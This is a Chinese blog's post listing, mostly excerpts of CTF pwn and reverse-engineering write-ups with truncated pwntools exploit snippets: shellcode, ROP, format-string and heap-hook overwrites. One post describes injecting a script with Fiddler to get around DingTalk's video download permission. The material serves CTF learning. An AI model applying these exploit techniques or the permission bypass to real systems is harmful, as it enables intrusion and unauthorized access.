自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(77)
  • 资源 (2)
  • 收藏
  • 关注

原创 入门pytorch

这个就比较简单了,最简单的感知机(最简单的两层神经网络),这里只不过是多层的感知机。它的思想还是比较好理解的,主要是如何针对不同的应用来实现它。它最明显的特征就是具有三个层次,卷积层,池化层,全连接层。借用一张图,下图很好的表示了什么是卷积(提取特征),什么是池化(减少数据量),而全连接层就是一个简单普通的神经网络。如下代码,该代码定义了一个卷积神经网络。其中仅有一个简单的函数前向传播。所准备是数据如下图,是一种手写数字,通过识别图片分析来得到答案。,这个函数的功能其实就是输入数据,给出预测,并不复杂。

2024-09-08 18:16:10 602

原创 实用机器学习(快速入门)

因为需要机器学习的助力,所以(浅浅)进修了一下。现在什么东西和AI结合一下感觉就好发文章了;我看了好多学习视频,发现机器学习实际上是数学,并不是常规的去学习代码什么的(虽然代码也很简单),而是去学习原理。这其实并不合我的学习方法,所以我歪门邪道了一下,先实用,再搞原理(这样就比原先快了许多)这里我比较推荐的唯一的一本书籍是统计学习方法(因为这本书我大概可以看懂,其他方面的书籍都不太适合纯新手)

2024-07-13 13:00:18 977

原创 复现随记~

比较简单的越界漏洞,堆本身并没有什么漏洞,而且保护并没全开,所以逆向思维。必然是ROP类而非指针类,故我们着重注意等无符号数前后是否不一致这里其实存在两个越界,一个是输入负数存在二级指针,进而ROP获取权限;第二个越界则为输入16则获取到一个悬空指针(但是没有什么用,测试U20).

2023-02-12 21:47:25 612

原创 pwn手记录题2

本题所使用的libc版本为2.34;(最新版libc2.34版本已经没有了所谓的hook函数,甚至exit_hook(实际为某个函数指针)也已经不能够使用;能够利用的手法已经很少了;可以看到Free释放函数总共可以使用11次,而Allocate申请函数可以使用0x2e次;如果按照fastbin_reverse_into_tcache的节奏来说,那么布局是如何的呢?

2023-02-12 15:27:48 679

原创 pwn手记录题1

将fake_chunk链入到了unsortedbin之中了,并且伪造了fake_chunk的fd指针指向unsortedbin;不过发现了几遍文章,其中存在着解析,将其引向了retfq该指令,该指令意思是64位与32位之间进行跳转,而syscall_fstat的rax为5,32位之中的open的syscall_number同样为5;我们发现了一个函数change_addr函数,其实就是PIE,本题开启了PIE保护,但是却又多此一举改变了地址,不懂;不过编写shellcode的时候废了好大劲,调试了好久;

2023-02-12 15:27:23 663

原创 工业线上赛(2022省赛)

发现存在upx壳通过工具发现无法脱upx壳(版本4.00),而通过ida分析发现需要通过upx3.96版本进行解压。然后分析加密流程:故我们进入B::cmp函数查看函数是如何进行比较的:(发现以索引为线索进行比较的。

2022-11-02 20:26:26 1156

原创 kernel简单学习(CTF-wiki)

就从CTF WIKI的例题开始吧,此具有由易到难的特性,适合上手;

2022-10-31 22:54:47 1060 1

原创 house系2

这里我们续接上回,接着分析高版本的Glibc利用手法,而高版本的利用手法,大都涉及到了io_file以及虚表这类函数指针等。

2022-09-18 17:52:44 401

原创 ciscoRV110W(强网杯2020)

这里的错误信息很简单,必然是nvram系列函数,通过调试,发现错误信息位于nvram_get函数出现的,而退出则是由exit函数进行错误退出的,故我们可以定位到错误流程必然出现于第三个nvram_get函数与exit函数之间;而valid_user仅仅是简单的判断,我们可以动态调试至此处位置,我们先位于页面之中输入123456(密码),发现此处的pwd进行了加密,如果我们hook掉http_user0其中的内容与此一致,曾将会登录成功;,这能通过硬编码进行修改,但是我并不想去查找mipsel的硬编码了;..

2022-08-29 16:34:06 728

原创 house系1

参考:https://bbs.pediy.com/thread-273895.htm#msg_header_h1_0(提出了这种新的方式)该文章虽然提出了新的手法,但是有些地方省略过多,故进行了调试分析,总结出完整的一个流程,分享给大家:位于==/malloc/malloc.c之中可以发现__malloc_assert的定义,并且__assert_fail等同于__malloc_assert==,而==__assert宏定义调用了__assert_fail==:可以发现首先执行==__fxprintf

2022-08-09 11:01:49 345

原创 BUUCTF-pwn(18)

360chunqiu2017_smallest整体较为简单;先放个exo;较为简单;from pwn import *context(arch='amd64', os='linux', log_level='debug')binary = './smallest'#r = remote('node4.buuoj.cn',26277)r = process(binary)elf = ELF(binary)main_addr = 0x4000B0mov_edx_400 = 0x4000

2022-07-10 15:15:10 845

原创 ISCC 2022

sim_treasure简单的32位循环格式化字符串漏洞,位于栈上,无过滤\x00;from pwn import *context(log_level='debug',os='linux',arch='i386')binary = './sp1'r = remote('123.57.69.203',7010)#r = process(binary)elf = ELF(binary)#libc = elf.libclibc = ELF('./libc-2.27.so')offset

2022-06-13 11:42:23 5172 1

原创 BUUCTF-pwn(17)

happytree(SUSCTF)分析主要函数!主要三步操作,Insert、Delete、Show函数!可以看到其为二叉树结构体!因为全保护开启,故具体思路为泄露地址(heap、libc),然后利用libc2.27版本tcache的double free来修改__free_hook函数为system函数,此时首先设置基准为0x50,此时分为两部分,左子树用来泄露heap地址并造成double free的效果,右子树来泄露libc地址并申请造成攻击效果!首先发现可以从0x?0申请到0x?8

2022-04-17 17:49:12 664

原创 IOT初尝试(PLC NOE-771)

过binwalk -A指令来对固件的CPU架构进行分析,此外也可以用binwalk -Y指令来调用capstone反汇编引擎来进行辅助判断,不过我实际测试下来存在一些误报的情况会把NOE 711的固件识别成arm架构的。

2022-03-22 19:59:05 4471

转载 UE使用及TQLCTF ezvm复现

什么是Unicorn Engine?Unicore Engine是一个模拟器,并不太常见(通过比赛发现了该引擎)。通过该模拟器,可以模仿整一段程序。但是该模拟器不支持系统调用,必须先映射内存,并手动将数据写入到内存中,然后才能从指定的地址开始模拟程序!怎么使用Unicorn Engine呢?该引擎可以基于C/C++进行开发,也可以使用Python调用Unicorn Engine(相对简单,故我们采用Python来使用Unicorn),使用以下命令来下载Python库函数pip install un

2022-03-07 17:21:07 342

转载 SUSCTF2022 复现

1. happytree2. rain3. nemu(TQLCTF2022)解答如下地址:新博客地址

2022-03-07 17:18:29 267

原创 BUUCTF-pwn(16)

强网杯2019 拟态 STKOF本题目两个二进制文件,64位与32位该题目加入了拟态的检查机制,题目会fork32位程序和64位程序,而我们的输入会分别传入这个两个进程,每个程序一份,然后题目会检测两个程序的输出,若两个程序的输出不一致或任一程序或者异常退出,则会被判断为check down,直接断开链接。只有两个程序的输入一致时,才能通过检查本题难度经过合理拆分难度不大,首先本地通过64位、32位脚本,然后利用0x8字节差距,使用32位add esp,0x7c;pop;ret来进行错误,并输入

2022-03-02 16:00:01 596 1

原创 BUUCTF-pwn(15)

gyctf_2020_some_thing_interesting经典UAF漏洞!Allocate申请函数!Free释放函数!全保护开启,故我们利用格式化字符串漏洞泄露libc地址,从而得到malloc_hook地址。然后利用UAF漏洞修改malloc_hook为one_gadget,此时进行申请操作便可获取权限!from pwn import *context(log_level='debug',os='linux',arch='amd64')binary = './gyctf_2

2022-02-13 12:38:43 2691

原创 BUUCTF-pwn(14)

gwctf_2019_jiandan_pwn1简单ret2libc,唯一需要注意的便是注意修改索引值,防止索引被覆盖!从而无法进行栈溢出!from pwn import *from LibcSearcher import LibcSearchercontext(os='linux',arch='amd64',log_level='debug')binary = './pwn'r = remote('node4.buuoj.cn',25586)#r = process(binary)elf

2022-01-23 16:23:13 3524

原创 BUUCTF-pwn(13)

wustctf2020_number_game此时运用我们的计算机底层的知识,可知,计算机底层储存形式为补码!-2147483648的补码形式为0x80000000,它取反加一之后仍然是0x80000000,因此这边输入-2147483648护网杯_2018_gettingstart此时又要用到我们的数学知识!转换浮点数工具from pwn import *context(log_level='debug',os='linux',arch='amd64')binary = './2

2022-01-17 20:51:29 613

原创 BUUCTF-pwn(12)

[极客大挑战 2019]Not Badorw类型,打开文件,读入内容,输出内容!但需要注意gadget!from pwn import *context(log_level='debug',os='linux',arch='amd64')binary = './bad'r = remote('node4.buuoj.cn',29934)#r = process(binary)elf = ELF(binary)mnap = 0x123000jmp_rsp = 0x0400a01r.r

2022-01-13 09:35:26 2904

原创 BUUCTF-pwn(11)

mrctf2020_easy_equation简单的栈溢出漏洞,格式化字符串漏洞!此处采用栈溢出漏洞!axb_2019_fmt64经典循环格式化字符串64位漏洞!唯一注意的地方pwntools的FmtStr_payload无法成功获取权限!需要手动计算字节进行攻击!from elftools.construct.macros import Paddingfrom pwn import *from LibcSearcher import *context(log_level='debu

2022-01-09 17:49:59 2744

原创 BUUCTF-pwn(10)

picoctf_2018_shellcode题目很很简单!from pwn import *context(log_level='debug',os='linux',arch='i386')binary = './PicoCTF_2018_shellcode'r = remote('node4.buuoj.cn',25585)#r = process(binary)elf = ELF(binary)shellcode = asm(shellcraft.sh())r.recvunti

2022-01-08 09:44:09 361

原创 BUUCTF-pwn(9)

gyctf_2020_borrowstack使用栈迁移,将rsp迁移到bss段上,而bss段上处于可控位置。但是注意bss段低处处于不可写状态,如果rsp移动到该处,则程序无法进行下去!尝试使用system函数,但是往往会涉及到bss段低处地址,而one_gadget则不需要过多占用栈地址,故采用one_gadget获取权限!from pwn import *from LibcSearcher import LibcSearchercontext(log_level='debug',os='l

2022-01-05 18:29:31 810

原创 PWNABLE.TW(1)

Startfrom pwn import *context(log_level='debug',os='linux',arch='i386')binary = './start'r = remote('chall.pwnable.tw', 10000)#r = process(binary)elf = ELF(binary)def db(): gdb.attach(r)leak_esp = 0x08048087shellcode = asm("xor ecx,ecx;\

2021-12-30 22:07:13 329

原创 BUUCTF-pwn(8)

2021-12-29 13:33:26 550

原创 glibc2.23堆源码解读

libc2.23采用glibc2.23的源码,故没有libc2.32的Tcache。主要从_int_malloc以及_int_free两个函数进行解读。Mallocstatic void *_int_malloc (mstate av, size_t bytes){//参数为指针av,与申请空间bytes INTERNAL_SIZE_T nb; /* normalized request size */ unsigned int idx;

2021-12-25 15:12:20 668

原创 BUUCTF-pwn(7)

ret2dl_resolve_dl_runtime_resolve()通过两个参数在libc中寻找函数地址,而我们更加关注的是第二个参数也就是上面write的0x20,0x20将_dl_runtime_resolve()带到了reloc的位置,reloc中有2个重要信息,一个是函数的got表地址,另一个是r_info。r_info的高位是.dynsym中的条目,.dynsym的地址加上0x10*Num,得到函数对应的符号信息,而修改其中的st_name偏移,就可以伪造函数名称,从而实现漏洞利用,我们将其

2021-12-19 11:28:14 1797

原创 BUUCTF-pwn(6)

wustctf2020_getshell现在还有这种简单题吗???picoctf_2018_buffer overflow 1没想到还有这么简单的题!并发现了后门函数!cmcc_simplerop函数逻辑比较简单。这里经过调试,发现padding为0x20寻找一些又用的gadget。使用SROP来进行攻击!from pwn import *context(log_level='debug',os='linux',arch='i386')r = remote('

2021-11-30 20:40:22 3072

原创 BUUCTF-pwn(5)

jarvisoj_level4简单的ret2libc!from pwn import *from LibcSearcher import *context(log_level='debug',os='linux',arch='i386')r = remote('node4.buuoj.cn',25768)#r = process('./level4')elf = ELF('./level4')main = elf.symbols['main']write_plt = elf.plt['

2021-11-25 20:48:41 421

原创 BUUCTF-pwn(4)

pwn2_sctf_2016该题目还是比较简单的!并且存在int 80中断,但可惜没有/bin/sh字符串!所以还是ret2libc!from pwn import *from LibcSearcher import *context(log_level='debug',os='linux',arch='i386')r = remote('node4.buuoj.cn',28630)#r = process('./pwn2_sctf_2016')elf = ELF('./pwn2_sc

2021-11-16 18:57:46 1271

原创 BUUCTF-pwn(3)

[HarekazeCTF2019]baby_rop该题还是比较简单的,没有什么难点!先探测一波保护!并且还发现了字符串!然后我们就可以开始构造payload了!payload = b’a’*(0x10+0x8)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)jarvisoj_level2_x64这道题目过于简单,所以就不再分析了,直接上脚本!from pwn import *context(log_level='debug',os='linu

2021-11-10 23:28:18 706

原创 BUUCTF-pwn(2)

[第五空间2019 决赛]PWN5该函数漏洞比较明显,进行调试验证!并且没有开启PIE保护措施,所以我们可以利用任意地址写,写入.bss:0804C044 password该地址处数据即可。然后密码就被操控了。[OGeek2019]babyrop将urandom中一个随机数写入到buf中,然后作为参数传入到下一个函数中。必须通过条件才可以可利用到下面的栈溢出漏洞!而且read还可以溢出一个字节到v5上。这里strlen遇到’\x00‘停止检测,所有外面可以利用该特征,绕过检测!

2021-11-06 11:25:40 560

原创 21CYS新生题

easypyc这个是个py打包的exe文件,首先我们需要反编译出源代码!pyinstxtractor.py该工具是可以将py打包而成的exe文件解压为原先的文件形式。

2021-10-27 18:44:36 1192

原创 攻防世界The_Maya_Society

The_Maya_Society这道题目有三个附件,一个素材,一个html网页,还有一个ELF文件。这里刚开始猜测为html网页逆向,但是网页逆向一般是要给一个js文件,该附件中是没有js文件的,所以应该不是网页逆向。那么猜测应该是附件中的ELF藏有flag。这时候我们看看里面具体函数的一些特征。这里具体函数的作用我也不太清楚,但是不妨碍我们做题。此时该ELF文件里面的大致流程我们都清楚了大致的流程就是这样子啦!base64(sub_18A4(MD5(date)+".fluxfin

2021-10-17 15:42:43 312 3

原创 攻防世界What-does-this-button-do

What-does-this-button-do通过EP和file命令进行探测,发现该文件应该是个数据压缩包之类的。猜测为ar包,直接使用jd-gui打开,发现没有class类。可扩展标记语言,标准通用标记语言的子集,简称XML。是一种用于标记电子文件使其具有结构性的标记语言。在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的

2021-10-16 14:34:32 127

原创 突破钉钉回放

下载无权限的钉钉回放视频由于某些原因,我们需要下载钉钉回放视频,但是却被管理员设置了权限,无法下载,这就很难受了。那么我们如何突破钉钉下载权限呢?这就需要抓包了,使用Fiddler来给端口设置关溢!这样从网络上来的任何东西我们就可以找到分析。首先我们先再Fiddler中进行设置一番!选中OnBeforeResponse进行跳转,复制三行代码于此!var sToInsert = "<script src='https://cdn.jsdelivr.net/gh/Tencent/vCons

2021-10-16 10:48:00 1460

原创 攻防世界76号

76号

2021-10-15 11:02:54 164 1

原创 BUUCTF-pwn(1)

test_your_nc

2021-08-09 14:38:23 1208

原创 xctf-pwn-“反应釜开关控制 & 实时数据监测 & greeting-150“

反应釜开关控制该pwn题目逻辑较为简单。通过三次栈溢出,可以得到shell函数地址。发现PIE保护没有开启,其实这里是直接可以栈溢出到shell函数的地址的,不必弄那么复杂!这道题目的PIE应该是忘记开了,题目原本设计的目的是想让我们使用三次栈溢出来得到shell的。分界线这里我感觉应该不是这么简单的,所以我又去进行寻找资料,发现是XCTF 4th-CyberEarth里面的盲打题。意味着我们没有ELF文件,所以我们就没有办法来想这么简单的去做出来。实时数据监测发现什么保护都没有

2021-07-31 14:06:14 349

pwntools4.5

这里补充一个pwn题目所用工具BUG! 据多方大佬所说,以及本人踩坑实测! 发现了pwntools4.6版本以上有两个BUG,一个为进程堵塞,另一个为所有交互数据强制为byte类型。 所以我们还是使用pwntools4.5版本的吧!

2021-10-31

部分网络安全word文档21.7~8

部分网络安全word文档21.7~8

2021-08-31

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除